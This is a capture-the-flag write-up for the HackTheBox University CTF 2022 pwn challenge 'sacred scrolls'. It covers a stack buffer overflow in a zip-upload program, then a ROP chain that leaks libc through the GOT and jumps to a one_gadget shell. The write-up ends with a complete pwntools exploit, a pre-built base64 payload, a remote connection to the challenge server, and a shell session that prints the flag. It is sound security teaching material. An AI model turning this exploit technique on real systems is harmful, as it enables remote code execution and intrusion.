Details

This challenge was given to the HackTheBox University CTF 2022. It was a pwn challenge of easy difficulty. A server is running for this challenge and the binary running on it and libc files are given.

Description

Each house on the campus has its secret library to store spells or spellbound messages so the others cannot see them. Messages are encrypted and must be signed by the boy who lived, turning them into sacred scrolls otherwise they are not accepted in this library. You can try it yourself as long as you are a wizard of this house.

Overview

Start by gathering information.

Running the program

[+] All ⅀ ℙ ∉ ⎳ ⎳ ⅀ have been whiped out..

Enter your wizard tag: Wizard

Interact with magic library Wizard

1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read   ⅀ ℙ ∉ ⎳ ⎳
2. Cast   ⅀ ℙ ∉ ⎳ ⎳
3. Leave

Edit

Picking edit we get

[*] Enter file (it will be named spell.zip):

Depending on the user input the program either says that the spell has been added and continues or that we used an invalid character and exits.

Read/Cast

When attempting to read before uploading we are presented with the error

unzip:  cannot find or open spell.zip, spell.zip.zip or spell.zip.ZIP.

[-] There is no such file!

If random characters are used with the upload function before we get

Archive:  spell.zip
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
note:  spell.zip may be a plain executable, not an archive
unzip:  cannot find zipfile directory in one of spell.zip or
        spell.zip.zip, and cannot find spell.zip.ZIP, period.

[-] There is no such file!

It is an error from the unzip command. It doesn’t show up on the server, I assume because STDERR is not part of the output.

Leave

When selecting Leave we get the following output even without interacting with other parts of the program

[-] This spell is not quiet effective, thus it will not be saved!
Segmentation fault

This means that the memory is getting corrupted at some point.

Checking the binary

Running checksec on the binary we can get a few security attributes

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found   *
    NX:       NX enabled
    PIE:      No PIE (0x400000) *
    RUNPATH:  b'./glibc/'       *

The important parts for this challenge are:

  • The missing stack canary - we can write on the stack without extra security checks getting in the way
  • PIE is disabled - the code will be executed always with the same base address
  • The libc version is given - we don’t have to guess or exfiltrate the version of libc from the server, as it is given

Analyze code

To analyze the code I used Ghidra.

The edit function allows the user to send a base64 encoded string. It allows only a limited set of character

if (((((userInput[index] < 'a') || ('z' < userInput[index])) &&
        ((userInput[index] < 'A' || ('Z' < userInput[index])))) &&
    ((((userInput[index] < '0' || ('9' < userInput[index])) && (userInput[index] != '.')) &&
        ((userInput[index] != '\0' && (userInput[index] != '+')))))) && (userInput[index] != '=') )

This translates in regex to [a-zA-Z0-9=\+\.\x00]*, matching all base64 characters but /.

The given string is then passed to a system call that executes echo 'INPUT' | base64 -d > spell.zip

The read function executes the following code

char * spell_read(void)
{
  int cmp;
  char *spell;
  FILE *spell_fd;
  
  spell = (char *)malloc(400);
  system("unzip spell.zip");
  spell_fd = fopen("spell.txt","rb");
  if (spell_fd == (FILE *)0x0) {
    printf("%s\n[-] There is no such file!\n\n",&DAT_0040127f);
                    /* WARNING: Subroutine does not return */
    exit(-0x45);
  }
  fread(spell,399,1,spell_fd);
  cmp = strncmp(spell,s__00401322,4);
  if (cmp == 0) {
    cmp = strncmp(spell + 4,s__00401327,3);
    if (cmp == 0) {
      close((int)spell_fd);
      return spell;
    }
  }
  printf("%s\n[-] Your file does not have the signature of the boy who lived!\n\n",&DAT_0040127f) ;
                    /* WARNING: Subroutine does not return */
  exit(0x520);
}

It extracts the uploaded spell, then reads a file named spell.txt. To continue the execution of the program, the file has to start with the characters 👓⚡

Executing the read command, the first 192 characters will be saved in a local variable. A safe implementation would copy the spell into a buffer of 24 characters, but this uses a buffer of 24 longs.

When exiting the program using the leave command, the following command is executed

spell_save(savedSpell);

Where savedSpell is from the read command.

void spell_save(void *spell)

{
  char buffer [32];
  
  memcpy(buffer,spell,600);
  printf("%s\n[-] This spell is not quiet effective, thus it will not be saved!\n",&DAT_0040127f) ;
  return;
}

The code copies way too many characters in the stack buffer. This allows the use of return oriented programming (ROP) by manipulating the return pointer.

First, I checked for gadgets using ROPgadget. There was no syscall gadget so I tried to leak the base address of libc and call /bin/sh.

To leak the base libc address I chose to print the value of system from the global offset table (GOT). To do this we have to call puts(_got_system). We can do this by using the procedure linkage table (PLT).

After this, we can jump back to the main function to resume the execution of the program and be able to upload a second payload.

Now, we have to jump to code from libc that executes /bin/sh. To find such an address I used one_gadget and picked this address as it had constraints that were easier to satisfy.

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

For this to work, I set the value of RBP to the address of .data + 0x78

Solution

from pwn import *
from os import system

# Pre-made payload to avoid `/` characters in it
# Payload: 👓⚡ + padding + RBP + POP_RDI + GOT[system] + PLT[puts] + RET + RET + MAIN + padding
# RPB = 0
# RET + RET and final padding is used to change the base64 output to avoid `/`
# 2 RET instructions are used to keep the stack alignment
payload_leak = b"UEsDBBQAAAAIAK1ag1V0l2o0MgAAAGUAAAAJABwAc3BlbGwudHh0VVQJAAMVFYtjFRWLY3V4CwABBOgDAAAE6AMAAPswf+LkR7MWJmIHaVEMULBZ0AFMT9BPgAhwQPjn2FHpR3wQ2rEqNanIwMDEwCDNwBIAUEsBAh4DFAAAAAgArVqDVXSXajQyAAAAZQAAAAkAGAAAAAAAAAAAAP+BAAAAAHNwZWxsLnR4dFVUBQADFRWLY3V4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE8AAAB1AAAAAAA="

libc_system = 0x50d60
win_addr = 0xebcf5
win_diff = libc_system - win_addr
data_section = 0x603000

# io = process("./sacred_scrolls")
io = remote("206.189.126.12", 32377)

io.recvuntil(b"tag: ") # Tag - anything
io.sendline(b"1")

io.recvuntil(b">> ") # Select upload
io.sendline(b"1")

io.recvuntil(b": ") # Send first payload
io.sendline(payload_leak)

io.recvuntil(b">> ") # Read - load payload in memory
io.sendline(b"2")

io.recvuntil(b">> ") # Exit - execute payload
io.sendline(b"3")

io.recvuntil(b"saved!")
io.recvline()
leak = io.recvline().strip()

while len(leak) < 8: # Pad leak with null bytes
  leak = leak + b"\x00"

win_addr = u64(leak) - win_diff


header = b"\xf0\x9f\x91\x93\xe2\x9a\xa1" + b"a"*25
rop = p64(data_section + 0x78) + p64(win_addr)
payload = header + rop

system("rm spell.zip && rm spell.txt 2>/dev/null")

open("spell.txt", 'wb').write(payload)
command = f"zip spell.zip spell.txt && cat spell.zip | base64 > payload"
system(command)

payload = open("payload").read().replace("\n", "")

system("rm spell.txt payload spell.zip")

if "/" in payload:
  print("Try again. The payload happened to be invalid")
  exit()

io.recvuntil(b"tag: ") # Tag - anything
io.sendline(b"1")

io.recvuntil(b">> ") # Select upload
io.sendline(b"1")

io.recvuntil(b": ") # Send second payload
io.sendline(payload)

io.recvuntil(b">> ") # Read - load payload in memory
io.sendline(b"2")

io.recvuntil(b">> ") # Exit - execute payload
io.sendline(b"3")

io.interactive() # RCE

Execution output

[+] Opening connection to 206.189.126.12 on port 32377: Done
[*] Switching to interactive mode

[-] This spell is not quiet effective, thus it will not be saved!
$ cat flag.txt
HTB{m4y_th3_b0y_wh0_l1v3d_h3lp_u}